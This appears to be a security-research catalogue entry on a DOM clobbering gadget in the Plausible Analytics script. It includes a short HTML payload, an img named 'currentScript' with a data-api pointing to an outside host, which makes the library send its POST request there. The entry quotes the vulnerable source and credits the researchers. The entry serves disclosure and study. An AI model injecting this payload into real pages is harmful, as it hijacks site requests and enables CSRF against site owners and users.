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Simple, open source, lightweight and privacy-friendly web analytics alternative to Google Analytics.

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• The plausible-analytics’s library uses the data-domain and data-api attribute of the document.currentScript element as a URL reference for a POST request.

  <!-- user input -->
  <img name="currentScript" data-domain="https://gmsgadget.com" data-api="https://gmsgadget.com/csrf">
  
  <script defer data-domain="mydomain.com" src="https://plausible.io/js/script.js"></script>

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var location = window.location
var document = window.document

if (COMPILE_COMPAT) {
  var scriptEl = document.getElementById('plausible')
} else if (COMPILE_PLAUSIBLE_LEGACY_VARIANT) {
  var scriptEl = document.currentScript
}

// [...]

config.endpoint = scriptEl.getAttribute('data-api') || defaultEndpoint()
config.domain = scriptEl.getAttribute('data-domain')
config.logging = true

sendRequest(config.endpoint, payload, options)

Related links:

• https://github.com/jackfromeast/dom-clobbering-collection/blob/main/domc-gadgets/plausible-analytics.md
• https://jackfromeast.github.io/assets/DOMinoEffect.pdf

Found by jackfromeast, ishmeals.

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